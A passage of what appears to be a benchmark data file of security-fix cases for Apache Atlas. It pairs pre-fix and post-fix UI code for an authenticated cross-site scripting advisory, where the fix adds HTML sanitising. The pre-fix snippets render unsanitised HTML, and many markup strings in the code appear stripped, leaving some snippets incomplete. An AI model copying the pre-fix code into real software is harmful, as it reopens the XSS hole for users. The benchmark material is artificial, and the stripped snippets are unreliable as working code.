'RelationSearchResultLayoutView',\n\n template: RelationSearchResultLayoutViewTmpl,\n\n /** Layout sub regions */\n regions: {\n REntityTableLayoutView: \"#r_relationSearchResultTableLayoutView\"\n },\n\n /** ui selector cache */\n ui: {\n paginationDiv: '[data-id=\"paginationDiv\"]',\n previousData: \"[data-id='previousData']\",\n nextData: \"[data-id='nextData']\",\n pageRecordText: \"[data-id='pageRecordText']\",\n colManager: \"[data-id='colManager']\",\n columnEmptyInfo: \"[data-id='columnEmptyInfo']\",\n showPage: \"[data-id='showPage']\",\n gotoPage: \"[data-id='gotoPage']\",\n gotoPagebtn: \"[data-id='gotoPagebtn']\",\n activePage: \"[data-id='activePage']\"\n },\n templateHelpers: function() {\n return {\n searchType: this.searchType,\n fromView: this.fromView,\n };\n },\n /** ui events hash */\n events: function() {\n var events = {},\n that = this;\n events[\"keyup \" + this.ui.gotoPage] = function(e) {\n var code = e.which,\n goToPage = parseInt(e.currentTarget.value);\n if (e.currentTarget.value) {\n that.ui.gotoPagebtn.attr('disabled', false);\n } else {\n that.ui.gotoPagebtn.attr('disabled', true);\n }\n if (code == 13) {\n if (e.currentTarget.value) {\n that.gotoPagebtn();\n }\n }\n };\n events[\"change \" + this.ui.showPage] = 'changePageLimit';\n events[\"click \" + this.ui.gotoPagebtn] = 'gotoPagebtn';\n events[\"click \" + this.ui.nextData] = \"onClicknextData\";\n events[\"click \" + this.ui.previousData] = \"onClickpreviousData\";\n return events;\n },\n /**\n * intialize a new SearchResultLayoutView Layout\n * @constructs\n */\n initialize: function(options) {\n _.extend(this, _.pick(options, 'value', 'guid', 'initialView', 'searchVent', 'searchTableColumns', 'isTableDropDisable', 'fromView', 'profileDBView', 'relationshipDefCollection'));\n //this.entityModel = new VEntity();\n this.searchCollection = new VRelationshipSearchResultList();\n this.limit = 25;\n this.asyncFetchCounter = 0;\n this.offset = 0;\n this.bindEvents();\n this.searchType = 'Basic Search';\n this.columnOrder = null;\n this.defaultColumns = [\"name\", \"typeName\", \"end1\", \"end2\", \"label\"];\n if (this.value) {\n if (this.value.pageLimit) {\n var pageLimit = parseInt(this.value.pageLimit, 10);\n if (_.isNaN(pageLimit) || pageLimit == 0 || pageLimit <= -1) {\n this.value.pageLimit = this.limit;\n this.triggerUrl();\n } else {\n this.limit = pageLimit;\n }\n }\n if (this.value.pageOffset) {\n var pageOffset = parseInt(this.value.pageOffset, 10);\n if (_.isNaN(pageOffset) || pageLimit <= -1) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n } else {\n this.offset = pageOffset;\n }\n }\n };\n },\n bindEvents: function() {\n var that = this;\n this.onClickLoadMore();\n this.listenTo(this.searchCollection, \"error\", function(model, response) {\n this.hideLoader({ type: 'error' });\n var responseJSON = response && response.responseJSON ? response.responseJSON : null,\n errorText = (responseJSON && (responseJSON.errorMessage || responseJSON.message || responseJSON.error)) || 'Invalid Expression';\n if (errorText) {\n Utils.notifyError({\n content: errorText\n });\n this.$('.searchTable > .well').html('
    ' + _.escape(errorText) + '
    ')\n }\n }, this);\n this.listenTo(this.searchCollection, \"state-changed\", function(state) {\n if (Utils.getUrlState.isRelationTab()) {\n this.updateColumnList(state);\n var excludeDefaultColumn = [];\n if (this.value && this.value.relationshipName) {\n excludeDefaultColumn = _.difference(this.searchTableColumns[this.value.relationshipName], this.defaultColumns);\n if (this.searchTableColumns[this.value.relationshipName] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n }\n this.columnOrder = this.getColumnOrder(this.REntityTableLayoutView.$el.find('.colSort th.renderable'));\n this.triggerUrl();\n var attributes = this.searchCollection.filterObj.attributes;\n if ((excludeDefaultColumn && attributes) && (excludeDefaultColumn.length > attributes.length || _.difference(excludeDefaultColumn, attributes).length)) {\n this.fetchCollection(this.value);\n }\n }\n }, this);\n this.listenTo(this.searchVent, \"relationSearch:refresh\", function(model, response) {\n this.updateColumnList();\n this.fetchCollection();\n }, this);\n this.listenTo(this.searchCollection, \"backgrid:sorted\", function(model, response) {\n this.checkTableFetch();\n }, this)\n },\n onRender: function() {\n this.commonTableOptions = {\n collection: this.searchCollection,\n includePagination: false,\n includeFooterRecords: false,\n includeColumnManager: (Utils.getUrlState.isRelationTab() && this.value && this.value.searchType === \"basic\" && !this.profileDBView ? true : false),\n includeOrderAbleColumns: false,\n includeSizeAbleColumns: false,\n includeTableLoader: false,\n includeAtlasTableSorting: true,\n showDefaultTableSorted: true,\n updateFullCollectionManually: true,\n columnOpts: {\n opts: {\n initialColumnsVisible: null,\n saveState: false\n },\n visibilityControlOpts: {\n buttonTemplate: _.template(\"\")\n },\n el: this.ui.colManager\n },\n gridOpts: {\n emptyText: 'No Records found!',\n className: 'table table-hover backgrid table-quickMenu colSort'\n },\n sortOpts: {\n sortColumn: \"name\",\n sortDirection: \"ascending\"\n },\n filterOpts: {},\n paginatorOpts: {}\n };\n if (!this.initialView) {\n var value = {\n 'query': null,\n 'searchType': 'basic'\n };\n if (this.value) {\n value = this.value;\n }\n this.updateColumnList();\n if (this.value && this.searchTableColumns && this.searchTableColumns[this.value.relationshipName] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n this.fetchCollection(value, _.extend({ 'fromUrl': true }, (this.value && this.value.pageOffset ? { 'next': true } : null)));\n this.ui.showPage.select2({\n data: _.sortBy(_.union([25, 50, 100, 150, 200, 250, 300, 350, 400, 450, 500], [this.limit])),\n tags: true,\n dropdownCssClass: \"number-input\",\n multiple: false\n });\n if (this.value && this.value.pageLimit) {\n this.ui.showPage.val(this.limit).trigger('change', { \"skipViewChange\": true });\n }\n } else {\n this.$(\".relationLink\").show();\n }\n },\n getColumnOrderWithPosition: function() {\n var that = this;\n return _.map(that.columnOrder, function(value, key) {\n return key + \"::\" + value;\n }).join(\",\");\n },\n triggerUrl: function(options) {\n Utils.setUrl(_.extend({\n url: Utils.getUrlState.getQueryUrl().queyParams[0],\n urlParams: this.columnOrder ? _.extend(this.value, { 'uiParameters': this.getColumnOrderWithPosition() }) : this.value,\n mergeBrowserUrl: false,\n trigger: false,\n updateTabState: true\n }, options));\n },\n updateColumnList: function(updatedList) {\n if (updatedList) {\n var listOfColumns = [];\n _.map(updatedList, function(obj) {\n var key = obj.name;\n if (obj.renderable) {\n listOfColumns.push(obj.name);\n }\n });\n listOfColumns = _.sortBy(listOfColumns);\n this.value.attributes = listOfColumns.length ? listOfColumns.join(\",\") : null;\n if (this.value && this.value.relationshipName && this.searchTableColumns) {\n this.searchTableColumns[this.value.relationshipName] = listOfColumns.length ? listOfColumns : null;\n }\n } else if (this.value && this.value.relationshipName && this.searchTableColumns && this.value.attributes) {\n this.searchTableColumns[this.value.relationshipName] = this.value.attributes.split(\",\");\n }\n },\n fetchCollection: function(value, options) {\n var that = this,\n isPostMethod = (this.value && this.value.searchType === \"basic\"),\n isRelationSearch = Utils.getUrlState.isRelationTab(),\n relationshipFilters = null;\n if (isRelationSearch) {\n relationshipFilters = CommonViewFunction.attributeFilter.generateAPIObj(this.value.relationshipFilters);\n }\n if (isPostMethod && isRelationSearch) {\n var excludeDefaultColumn = this.value.relationshipName && this.searchTableColumns ? _.difference(this.searchTableColumns[this.value.relationshipName], this.defaultColumns) : null,\n filterObj = {\n 'attributes': excludeDefaultColumn ? excludeDefaultColumn : null,\n 'relationshipFilters': relationshipFilters\n };\n }\n\n this.showLoader();\n if (Globals.searchApiCallRef && Globals.searchApiCallRef.readyState === 1) {\n Globals.searchApiCallRef.abort();\n }\n var apiObj = {\n skipDefaultError: true,\n sort: false,\n success: function(dataOrCollection, response) {\n if (that.isDestroyed) {\n return;\n }\n Globals.searchApiCallRef = undefined;\n var isFirstPage = that.offset === 0,\n dataLength = 0,\n goToPage = that.ui.gotoPage.val();\n that.ui.gotoPage.val('');\n that.ui.gotoPage.parent().removeClass('has-error');\n that.ui.gotoPagebtn.prop(\"disabled\", true);\n if (!(that.ui.pageRecordText instanceof jQuery)) {\n return;\n }\n if (isPostMethod && dataOrCollection && dataOrCollection.relations) {\n dataLength = dataOrCollection.relations.length;\n } else {\n dataLength = dataOrCollection.length;\n }\n\n if (!dataLength && that.offset >= that.limit && ((options && options.next) || goToPage) && (options && !options.fromUrl)) {\n /* User clicks on next button and server returns\n empty response then disabled the next button without rendering table*/\n\n that.hideLoader();\n var pageNumber = that.activePage + 1;\n if (goToPage) {\n pageNumber = goToPage;\n that.offset = (that.activePage - 1) * that.limit;\n } else {\n that.finalPage = that.activePage;\n that.ui.nextData.attr('disabled', true);\n that.offset = that.offset - that.limit;\n }\n if (that.value) {\n that.value.pageOffset = that.offset;\n that.triggerUrl();\n }\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: pageNumber, sup: true }) + ' page'\n });\n return;\n }\n if (isPostMethod) {\n that.searchCollection.reset(dataOrCollection.relations, { silent: true });\n that.searchCollection.fullCollection.reset(dataOrCollection.relations, { silent: true });\n }\n /*Next button check.\n It's outside of Previous button else condition\n because when user comes from 2 page to 1 page than we need to check next button.*/\n if (dataLength < that.limit) {\n that.ui.nextData.attr('disabled', true);\n } else {\n that.ui.nextData.attr('disabled', false);\n }\n\n if (isFirstPage && (!dataLength || dataLength < that.limit)) {\n that.ui.paginationDiv.hide();\n } else {\n that.ui.paginationDiv.show();\n }\n\n // Previous button check.\n if (isFirstPage) {\n that.ui.previousData.attr('disabled', true);\n that.pageFrom = 1;\n that.pageTo = that.limit;\n } else {\n that.ui.previousData.attr('disabled', false);\n }\n\n if (options && options.next) {\n //on next click, adding \"1\" for showing the another records.\n that.pageTo = that.offset + that.limit;\n that.pageFrom = that.offset + 1;\n } else if (!isFirstPage && options && options.previous) {\n that.pageTo = that.pageTo - that.limit;\n that.pageFrom = (that.pageTo - that.limit) + 1;\n }\n that.ui.pageRecordText.html(\"Showing \" + that.searchCollection.models.length + \" records From \" + that.pageFrom + \" - \" + that.pageTo);\n that.activePage = Math.round(that.pageTo / that.limit);\n that.ui.activePage.attr('title', \"Page \" + that.activePage);\n that.ui.activePage.text(that.activePage);\n that.renderTableLayoutView();\n\n if (dataLength > 0) {\n that.$('.searchTable').removeClass('noData')\n }\n\n if (isRelationSearch && value && !that.profileDBView) {\n var searchString = 'Results for: ' + CommonViewFunction.generateQueryOfFilter(that.value) + \"\";\n that.$('.searchResult').html(searchString);\n }\n },\n silent: true,\n reset: true\n }\n if (value) {\n if (value.searchType) {\n this.searchCollection.url = UrlLinks.relationshipSearchApiUrl(value.searchType);\n }\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset, 'query': _.trim(value.query), 'relationshipName': value.relationshipName || null });\n if (isPostMethod) {\n this.searchCollection.filterObj = _.extend({}, filterObj);\n apiObj['data'] = _.extend(filterObj, _.pick(this.searchCollection.queryParams, 'query', 'limit', 'offset', 'relationshipName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n this.searchCollection.filterObj = null;\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n } else {\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset });\n if (isPostMethod) {\n apiObj['data'] = _.extend(filterObj, _.pick(this.searchCollection.queryParams, 'query', 'limit', 'offset', 'relationshipName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n }\n },\n tableRender: function(options) {\n var that = this,\n savedColumnOrder = options.order,\n TableLayout = options.table,\n columnCollection = Backgrid.Columns.extend({\n sortKey: \"displayOrder\",\n className: \"my-awesome-css-animated-grid\",\n comparator: function(item) {\n return item.get(this.sortKey) || 999;\n },\n setPositions: function() {\n _.each(this.models, function(model, index) {\n model.set(\"displayOrder\", (savedColumnOrder == null ? index : parseInt(savedColumnOrder[model.get('label')])) + 1, { silent: true });\n });\n return this;\n }\n });\n var columns = new columnCollection((that.searchCollection.dynamicTable ? that.getDaynamicColumns(that.searchCollection.toJSON()) : that.getFixedDslColumn()));\n columns.setPositions().sort();\n var table = new TableLayout(_.extend({}, that.commonTableOptions, {\n columns: columns\n }));\n if (table.collection.length === 0) {\n that.$(\".searchTable\").addClass('noData');\n }\n if (!that.REntityTableLayoutView) {\n return;\n }\n if (!that.value) {\n that.value = that.options.value;\n }\n that.REntityTableLayoutView.show(table);\n that.$(\".ellipsis-with-margin .inputAssignTag\").hide();\n table.trigger(\"grid:refresh\"); /*Event fire when table rendered*/\n // that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(:first)').addClass('dragHandler');\n if (that.isTableDropDisable !== true) {\n var tableDropFunction = function(from, to, el) {\n tableDragger(document.querySelector(\".colSort\")).destroy();\n that.columnOrder = that.getColumnOrder(el.querySelectorAll('th.renderable'));\n that.triggerUrl();\n that.tableRender({ \"order\": that.columnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n }\n that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(.select-all-header-cell)').addClass('dragHandler');\n tableDragger(document.querySelector(\".colSort\"), { dragHandler: \".dragHandler\" }).on('drop', tableDropFunction);\n }\n },\n renderTableLayoutView: function(col) {\n var that = this;\n require(['utils/TableLayout'], function(TableLayout) {\n // displayOrder added for column manager\n if (that.value.uiParameters) {\n var savedColumnOrder = _.object(that.value.uiParameters.split(',').map(function(a) {\n return a.split('::');\n })); // get Column position from string to object\n }\n\n that.tableRender({ \"order\": savedColumnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n });\n },\n getColumnOrder: function(arr) {\n var obj = {};\n for (var i = 0; i < arr.length; ++i) {\n var innerText = arr[i].innerText.trim();\n obj[(innerText == \"\" ? 'Select' : innerText)] = i;\n }\n return obj;\n },\n checkTableFetch: function() {\n if (this.asyncFetchCounter <= 0) {\n this.hideLoader();\n Utils.generatePopover({\n el: this.$('[data-id=\"showMoreLess\"]'),\n contentClass: 'popover-tag-term',\n viewFixedPopover: true,\n popoverOptions: {\n container: null,\n content: function() {\n return $(this).find('.popup-tag-term').children().clone();\n }\n }\n });\n }\n },\n getFixedDslColumn: function() {\n var that = this,\n nameCheck = 0,\n columnToShow = null,\n col = {};\n this.value = this.fromView === \"glossary\" ? this.value : Utils.getUrlState.getQueryParams() || this.value;\n if (this.value && this.value.searchType === \"basic\" && this.searchTableColumns && (this.searchTableColumns[this.value.relationshipName] !== undefined)) {\n columnToShow = this.searchTableColumns[this.value.relationshipName] == null ? [] : this.searchTableColumns[this.value.relationshipName];\n }\n col['name'] = {\n label: \"Guid\",\n cell: \"html\",\n editable: false,\n resizeable: true,\n orderable: false,\n renderable: true,\n sortable: false,\n className: \"searchTableName\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON(),\n nameHtml = \"\",\n name = Utils.getName(obj),\n img = \"\";\n if (obj.guid) {\n if (obj.guid == \"-1\") {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n } else {\n nameHtml = '' + name + '';\n }\n img = \"
    \";\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n nameHtml += '';\n nameHtml = '
    ' + nameHtml + '
    ';\n img = \"
    \";\n }\n return (img + nameHtml);\n }\n })\n };\n if (this.value) {\n col['typeName'] = {\n label: \"Type\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: true,\n renderable: (columnToShow ? _.contains(columnToShow, 'typeName') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.typeName) {\n return '' + obj.typeName + '';\n }\n }\n })\n };\n col['end1'] = {\n label: \"End1\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: false,\n renderable: (columnToShow ? _.contains(columnToShow, 'end1') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.end1) {\n var key, uniqueAttributesValue;\n for (key in obj.end1.uniqueAttributes) {\n uniqueAttributesValue = obj.end1.uniqueAttributes[key];\n }\n uniqueAttributesValue = uniqueAttributesValue ? uniqueAttributesValue : obj.end1.guid;\n return '' + _.escape(uniqueAttributesValue) + '';\n }\n }\n })\n };\n col['end2'] = {\n label: \"End2\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: false,\n renderable: (columnToShow ? _.contains(columnToShow, 'end2') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.end2) {\n var key, uniqueAttributesValue;\n for (key in obj.end2.uniqueAttributes) {\n uniqueAttributesValue = obj.end2.uniqueAttributes[key];\n }\n uniqueAttributesValue = uniqueAttributesValue ? uniqueAttributesValue : obj.end2.guid;\n return '' + _.escape(uniqueAttributesValue) + '';\n }\n }\n })\n };\n col['label'] = {\n label: \"Label\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: true,\n renderable: (columnToShow ? _.contains(columnToShow, 'end2') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj) {\n return \"\" + obj.label + \"\"\n }\n }\n })\n };\n\n if (this.value && this.value.searchType === \"basic\") {\n var def = this.relationshipDefCollection.fullCollection.find({ name: this.value.relationshipName });\n if (def) {\n var attrObj = def ? Utils.getNestedSuperTypeObj({ data: def.toJSON(), collection: this.relationshipDefCollection, attrMerge: true }) : [];\n _.each(attrObj, function(obj) {\n var key = _.escape(obj.name),\n isRenderable = _.contains(columnToShow, key),\n // isSortable = obj.typeName.search(/(array|map)/i) == -1;\n isSortable = obj.typeName.search(/(string|date|boolean|int|number|byte|float|long|double|short)/i) == 0; // commented : as sorting is required for all the columns except non-primitive types\n\n col[key] = {\n label: key.capitalize(),\n cell: \"Html\",\n // headerCell: Backgrid.HeaderHTMLDecodeCell,\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: isSortable,\n renderable: isRenderable,\n headerClassName: \"\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (modelObj && modelObj.attributes && !_.isUndefined(modelObj.attributes[key])) {\n var tempObj = {\n 'scope': that,\n 'attributeDefs': [obj],\n 'valueObject': {},\n 'isTable': false\n };\n tempObj.valueObject[key] = modelObj.attributes[key];\n var tablecolumn = CommonViewFunction.propertyTable(tempObj);\n if (_.isArray(modelObj.attributes[key])) {\n var column = $(\"
    \" + tablecolumn + \"
    \")\n if (tempObj.valueObject[key].length > 2) {\n column.addClass(\"toggleList semi-collapsed\").append(\"Show More\");\n }\n return column;\n }\n return tablecolumn;\n }\n }\n })\n };\n });\n }\n }\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n onClickLoadMore: function() {\n var that = this;\n this.$el.on('click', \"[data-id='load-more-columns']\", function(event) {\n event.stopPropagation();\n event.stopImmediatePropagation();\n var $this = $(this),\n $toggleList = $(this).parents('.toggleList');\n if ($toggleList.length) {\n if ($toggleList.hasClass('semi-collapsed')) {\n $toggleList.removeClass('semi-collapsed');\n $this.text(\"Show Less\");\n } else {\n $toggleList.addClass('semi-collapsed');\n $this.text(\"Show More\");\n }\n }\n });\n },\n getDaynamicColumns: function(valueObj) {\n var that = this,\n col = {};\n if (valueObj && valueObj.length) {\n var firstObj = _.first(valueObj);\n _.each(_.keys(firstObj), function(key) {\n col[key] = {\n label: key.capitalize(),\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (key == \"name\") {\n var nameHtml = \"\",\n name = _.escape(modelObj[key]);\n if (modelObj.guid) {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n if (modelObj.status && Enums.entityStateReadOnly[modelObj.status]) {\n nameHtml += '';\n return '
    ' + nameHtml + '
    ';\n }\n return nameHtml;\n } else if (modelObj && !_.isUndefined(modelObj[key])) {\n var tempObj = {\n 'scope': that,\n // 'attributeDefs':\n 'valueObject': {},\n 'isTable': false\n };\n tempObj.valueObject[key] = modelObj[key];\n return CommonViewFunction.propertyTable(tempObj);\n }\n }\n })\n };\n });\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n showLoader: function() {\n this.$('.fontLoader:not(.for-ignore)').addClass('show');\n this.$('.tableOverlay').addClass('show');\n },\n hideLoader: function(options) {\n this.$('.fontLoader:not(.for-ignore)').removeClass('show');\n options && options.type === 'error' ? this.$('.ellipsis-with-margin,.pagination-box').hide() : this.$('.ellipsis-with-margin,.pagination-box').show(); // only show for first time and hide when type is error\n this.$('.tableOverlay').removeClass('show');\n },\n onClicknextData: function() {\n this.offset = this.offset + this.limit;\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n next: true\n });\n },\n onClickpreviousData: function() {\n this.offset = this.offset - this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n previous: true\n });\n },\n changePageLimit: function(e, obj) {\n if (!obj || (obj && !obj.skipViewChange)) {\n var limit = parseInt(this.ui.showPage.val());\n if (limit == 0) {\n this.ui.showPage.data('select2').$container.addClass('has-error');\n return;\n } else {\n this.ui.showPage.data('select2').$container.removeClass('has-error');\n }\n this.limit = limit;\n this.offset = 0;\n if (this.value) {\n this.value.pageLimit = this.limit;\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n this.fetchCollection();\n }\n },\n gotoPagebtn: function(e) {\n var that = this;\n var goToPage = parseInt(this.ui.gotoPage.val());\n if (!(_.isNaN(goToPage) || goToPage <= -1)) {\n if (this.finalPage && this.finalPage < goToPage) {\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: goToPage, sup: true }) + ' page'\n });\n return;\n }\n this.offset = (goToPage - 1) * this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n if (this.offset == (this.pageFrom - 1)) {\n Utils.notifyInfo({\n content: Messages.search.onSamePage\n });\n } else {\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n // this.offset is updated in gotoPagebtn function so use next button calculation.\n this.fetchCollection(null, { 'next': true });\n }\n }\n }\n });\n return RelationSearchResultLayoutView;\n});" +repo = "apache/atlas" +url = "https://github.com/apache/atlas.git" + +[[case]] +advisory = "GHSA-v73p-f52r-fmmr" +advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." +commit = "800f979307d6ea0f0b6563ec890f6b728022e497" +cwe = "CWE-80" +family = "output_encoding" +function = "ShowMoreText" +function_lines = [[23, 68]] +id = "apache-atlas-9ddeccc45a8bbeb5" +language = "typescript" +method = "fix_site" +parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" +path = "dashboard/src/components/ShowMore/ShowMoreText.tsx" +post_fix = "const ShowMoreText = ({\n value = \"\",\n maxLength = 160,\n more = \"show more..\",\n less = \"show less..\",\n isHtml = false\n}: {\n value: string;\n maxLength: number;\n more: string;\n less: string;\n isHtml?: boolean;\n}) => {\n const [isTruncated, setIsTruncated] = useState(true);\n\n if (isEmpty(value)) return <>NA;\n\n const shouldTruncate = value.length > maxLength && isTruncated;\n const displayValue = shouldTruncate\n ? value.substring(0, maxLength) + \"...\"\n : value;\n const safeValue = isHtml ? sanitizeHtmlContent(displayValue) : displayValue;\n\n return (\n <>\n {isHtml ? (\n \n ) : (\n displayValue\n )}\n {value.length > maxLength && (\n setIsTruncated((prev) => !prev)}\n className=\"show-more-less-link\"\n >\n \n {shouldTruncate ? ` ${more}` : ` ${less}`}\n \n \n )}\n \n );\n};" +pre_fix = "const ShowMoreText = ({\n value = \"\",\n maxLength = 160,\n more = \"show more..\",\n less = \"show less..\",\n isHtml = false\n}: {\n value: string;\n maxLength: number;\n more: string;\n less: string;\n isHtml?: boolean;\n}) => {\n const [isTruncated, setIsTruncated] = useState(true);\n\n if (isEmpty(value)) return <>NA;\n\n const shouldTruncate = value.length > maxLength && isTruncated;\n const displayValue = shouldTruncate\n ? value.substring(0, maxLength) + \"...\"\n : value;\n\n return (\n <>\n {isHtml ? (\n \n ) : (\n displayValue\n )}\n {value.length > maxLength && (\n setIsTruncated((prev) => !prev)}\n className=\"show-more-less-link\"\n >\n \n {shouldTruncate ? ` ${more}` : ` ${less}`}\n \n \n )}\n \n );\n};" +repo = "apache/atlas" +url = "https://github.com/apache/atlas.git" + +[[case]] +advisory = "GHSA-v73p-f52r-fmmr" +advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." +commit = "800f979307d6ea0f0b6563ec890f6b728022e497" +cwe = "CWE-80" +family = "output_encoding" +function = "HtmlRenderer" +function_lines = [[18, 27]] +id = "apache-atlas-ea6cfd8c8ed3e117" +language = "typescript" +method = "fix_site" +parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" +path = "dashboard/src/components/HtmlRenderer.tsx" +post_fix = "const HtmlRenderer = ({ htmlString }: { htmlString: any }) => {\n const safeHtml =\n typeof htmlString === \"string\" ? sanitizeHtmlContent(htmlString) : \"\";\n return (\n \n );\n};\n\nexport default HtmlRenderer;" +pre_fix = "const HtmlRenderer = ({ htmlString }: { htmlString: any }) => {\n return (\n \n );\n};\n\nexport default HtmlRenderer;" +repo = "apache/atlas" +url = "https://github.com/apache/atlas.git" + +[[case]] +advisory = "GHSA-v73p-f52r-fmmr" +advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." +commit = "800f979307d6ea0f0b6563ec890f6b728022e497" +cwe = "CWE-80" +family = "output_encoding" +function = "function" +function_lines = [[19, 1106]] +id = "apache-atlas-eec08160065d0b9b" +language = "javascript" +method = "fix_site" +parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" +path = "dashboardv2/public/js/utils/CommonViewFunction.js" +post_fix = "define(['require', 'utils/Utils', 'modules/Modal', 'utils/Messages', 'utils/Enums', 'moment', 'utils/Globals', 'moment-timezone'], function(require, Utils, Modal, Messages, Enums, moment, Globals, momentTimezone) {\n 'use strict';\n\n var CommonViewFunction = {};\n CommonViewFunction.deleteTag = function(options) {\n require(['models/VTag'], function(VTag) {\n if (options && options.guid && options.tagName) {\n var tagModel = new VTag(),\n noticeRef = null,\n notifyObj = {\n modal: true,\n okCloses: false,\n okShowLoader: true,\n text: options.msg,\n title: options.titleMessage,\n okText: options.okText,\n ok: function(notice) {\n noticeRef = notice;\n if (options.showLoader) {\n options.showLoader();\n }\n tagModel.deleteAssociation(options.guid, options.tagName, options.associatedGuid, {\n defaultErrorMessage: options.tagName + Messages.deleteErrorMessage,\n success: function(data) {\n if (noticeRef) {\n noticeRef.remove();\n }\n Utils.notifySuccess({\n content: \"Classification \" + options.tagName + Messages.getAbbreviationMsg(false, 'removeSuccessMessage')\n });\n if (options.callback) {\n options.callback();\n }\n if (options.collection) {\n options.collection.fetch({ reset: true });\n }\n\n },\n cust_error: function(model, response) {\n if (noticeRef) {\n noticeRef.hideButtonLoader();\n }\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n });\n },\n cancel: function(argument) {\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n };\n Utils.notifyConfirm(notifyObj);\n }\n });\n };\n CommonViewFunction.propertyTable = function(options) {\n var scope = options.scope,\n sortBy = options.sortBy,\n valueObject = options.valueObject,\n extractJSON = options.extractJSON,\n getArrayOfStringElement = options.getArrayOfStringElement,\n getArrayOfStringFormat = options.getArrayOfStringFormat,\n isTable = _.isUndefined(options.isTable) ? true : options.isTable,\n attributeDefs = options.attributeDefs,\n formatIntVal = options.formatIntVal,\n showListCount = options.showListCount || true,\n highlightString = options.highlightString,\n formatStringVal = options.formatStringVal,\n isRelationshipAttr = options.isRelationshipAttribute, //For relationshipDetailpage\n numberFormat = options.numberFormat || _.numberFormatWithComma;\n\n var table = \"\",\n getHighlightedString = function(resultStr) {\n if (highlightString && highlightString.length) {\n try {\n return resultStr.replace(new RegExp(highlightString, \"gi\"), function(foundStr) {\n return \"\" + foundStr + \"\"\n });\n } catch (error) {\n return resultStr;\n }\n } else {\n return resultStr;\n }\n },\n getEmptyString = function(key) {\n if (options.getEmptyString) {\n return options.getEmptyString(key);\n }\n return \"N/A\";\n },\n getValue = function(val, key) {\n if (options && options.getValue) {\n val = options.getValue(val, key);\n }\n if (!_.isUndefined(val) && !_.isNull(val)) {\n if ((_.isNumber(val) || !_.isNaN(parseInt(val))) && formatIntVal) {\n return numberFormat(val);\n } else {\n var newVal = val;\n if (formatStringVal) {\n newVal = 